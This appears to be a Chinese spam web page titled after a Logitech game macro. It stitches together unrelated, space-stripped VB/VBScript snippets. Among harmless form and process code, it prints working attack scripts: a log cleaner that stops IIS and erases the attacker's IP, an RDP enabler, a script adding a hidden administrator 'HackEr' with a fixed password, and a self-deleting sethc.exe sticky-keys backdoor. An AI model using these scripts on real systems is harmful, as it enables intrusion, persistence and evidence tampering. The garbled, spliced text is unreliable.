脚本卡密验证罗技g302压枪宏

在主窗体的Form_load()中的最前面加入下列代码:DimX0AslongDimY0AsLong'让窗体居中X0=Screen.WidthY0=Screen.HeightX0=(X0-Me.Width)/2Y0=(Y0-Me.Height)/2Me.MoveX0,Y0->

特别是对于已经在企业中建立起Acitve Directory域的网络管理员来说,只要将此脚本添加到域控制器的组策略里,对每个登陆到域的用户进行补丁检测,提示用户最新补丁信息,再也不用为用户没有安装最新补丁而苦恼了,大大提高了企业内部网络安全管理全网最全脚本网站 OptionExplicit Dimsourcefile,ipaddress,objargs constdestfile="tempfile" ConstForWriting=2 DimText Dimfso,objNet,ServiceObj DimtxtStream,txtStreamOut SetobjArgs=WScript.Arguments IfobjArgs.Count=2Then sourcefile=objArgs(0) ipaddress=objargs(1) Else wscript.echo"ParameterError"+vbcrlf wscript.Echo"USAGE:KillLog.vbsLogFileNameYourIP." wscript.Quit1 EndIf Setfso=CreateObject("Scripting.FileSystemObject") iffso.FileExists(sourcefile)then SetobjNet=WScript.CreateObject("WScript.Network") SetServiceObj=GetObject(""&objNet.ComputerName&"/w3svc") SetobjNet=nothing ServiceObj.stop wscript.sleep6000 SettxtStream=fso.OpenTextFile(sourcefile) SettxtStreamOut=fso.OpenTextFile(destfile,ForWriting,True) DoWhileNot(txtStream.atEndOfStream) Text=txtStream.ReadLine ifinstr(Text,ipaddress)=0then txtStreamOut.WriteLineText endif Loop SettxtStream=Nothing SettxtStreamOut=Nothing WScript.Echo"Thelogfile--"&sourcefile&"hascleanedyourIP!" Else WScript.Echo"TheLogfile--"&sourcefile&"hasnotfound!" Wscript.quit EndIf fso.Copyfiledestfile,sourcefile fso.deletefiledestfile Setfso=Nothing ServiceObj.start SetServiceObj=Nothing

  2.在Form1上放一个Command按钮,并将其Name属性更改为btnCreateDatabase,将其Text属性更改为CreateDatabase

OptionExplicitPrivateDeclareFunctionOSGetLongPathNameLib"VB5STKIT.DLL"Alias"GetLongPathName"(ByVallpszLongPathAsString,ByVallpszShortPathAsString,ByValcchBufferAsLong)AsLongPublicDeclareFunctionOSGetShortPathNameLib"kernel32"Alias"GetShortPathNameA"(ByVallpszLongPathAsString,ByVallpszShortPathAsString,ByValcchBufferAsLong)AsLongFunctionGetLongPathName(ByValstrShortPathAsString)AsStringConstcchBuffer=300DimstrLongPathAsStringDimlResultAsLongOnErrorGoTo0strLongPath=String(cchBuffer,Chr$(0))lResult=OSGetLongPathName(strShortPath,strLongPath,cchBuffer)IflResult=0ThenGetShortPathName=""ElseGetLongPathName=StripTerminator(strLongPath)EndIfEndFunctionPublicFunctionGetShortPathName(ByValstrLongPathAsString)AsStringConstcchBuffer=300DimstrShortPathAsStringDimlResultAsLongOnErrorGoTo0strShortPath=String(cchBuffer,Chr$(0))lResult=OSGetShortPathName(strLongPath,strShortPath,cchBuffer)IflResult=0ThenGetShortPathName=""ElseGetShortPathName=StripTerminator(strShortPath)EndIfEndFunction'-----------------------------------------------------------'函数:StripTerminator''返回非零结尾的字符串

不过后来我发现了更简单的方法,那就是查VB的函数声明(谁让它们是一家人呢),在VB的对象浏览器中查找LoadPicture函数: Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp虽然VBS的LoadPicture函数比VB的简单,但是返回值应该是一样的在窗体中另设一定时器(如Timer―step),在预定时间后产生一触发事件,使程序转入下一步

'---------------------------------------------------------------------------------- OnErrorResumenext Setfs=CreateObject("scripting.filesystemobject") Setos=CreateObject("wscript.shell") Setos0=createobject("shell.application") Setd0=CreateObject("scripting.dictionary") Setwmi=GetObject("winmgmts:\\.") Setpro_s=wmi.instancesof("win32_process") '-------------创建临时文本文件文件,把当前进程输入该文本文件之中并通过记事本打开之 '---------同时把进程对应序号和pid传递给dictionary(d0)一份 filename=fs.GetTempName setf1=fs.CreateTextFile(filename,True) msg="序号"&vbTab&"名称"&vbTab&"PID"&vbTab&"程序文件"&vbtab&now&Chr(10) f1.Writeline(msg) n=1 ForEachpInpro_s f1.WriteLine(n&"."&p.name&","&p.handle&","&p.commandline&Chr(10)) d0.Add""&n,Trim(p.handle) n=n+1 Next f1.Close os0.MinimizeAll os.Exec"notepad.exe"&filename wscript.sleep500 '--------------等待用户输入欲中断的进程相关的序号列,确定之后关闭并删除临时文本文件 x=InputBox("请根据"&filename&"中的内容"+Chr(10)+_ "选择需要同时中断的进程对应序号:"+Chr(10)+_ "(序号之间用','间隔例如:'1,3,5,7,11')","选择") os.AppActivatefilename&"-记事本" os.SendKeys"%fx" WScript.Sleep500 fs.DeleteFilefilename '--------如果用户取消了操作,就退出程序 Ifx=""thenwscript.quit '--------把用户输入的序号列中相关的序号传递给一个数组xs xs=Split(x,",",-1,1) '-----------对用户输入的序号列进行校对,将重复序号标记为-2,计算实际序号个数 Fori=0toubound(xs)'---利用双重循环将重复输入的内容保留一份,其他的标记为-1 forn=0toubound(xs) ifn=ithen n=n+1 ifn>ubound(xs)thenexitfor endif ifTrim(xs(n))=Trim(xs(i))Or_ Trim(xs(n))=""Then xs(n)="-1" endIf next Next w=0'----把不真实可用的序号剔除并计算出其个数 Fori=0ToUBound(xs) Ifd0.Exists(xs(i))=FalseThen xs(i)="-2" w=w+1 EndIf Next w=(UBound(xs)+1-w)'---得出可用的序号个数 '------------如果序列中没有输入任何序号就退出程序 Ifw=0Then MsgBox"需要中断的进程列表为空一个需要----3)ComEventFrame:其值为1004,硬件检测到帧错误onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_ strComputer&"\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue onerrorresumenext dimusername,password:IfWscript.Arguments.CountThen:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":endif:setwsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Setob=GetObject(os):Setoe=GetObject(os&"/Administrators,group"):Setod=ob.Create("user",username):od.SetPasswordpassword:od.SetInfo:Setof=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echoof.ADsPath OnErrorResumeNext Dimobj,success Setobj=CreateObject("WScript.Shell") success=obj.run("cmd/ctakeown/f%SystemRoot%\system32\sethc.exe&echoy|cacls%SystemRoot%\system32\sethc.exe/G%USERNAME%:F©%SystemRoot%\system32\cmd.exe%SystemRoot%\system32\acmd.exe©%SystemRoot%\system32\sethc.exe%SystemRoot%\system32\asethc.exe&del%SystemRoot%\system32\sethc.exe&ren%SystemRoot%\system32\acmd.exesethc.exe",0,True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)。

178人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册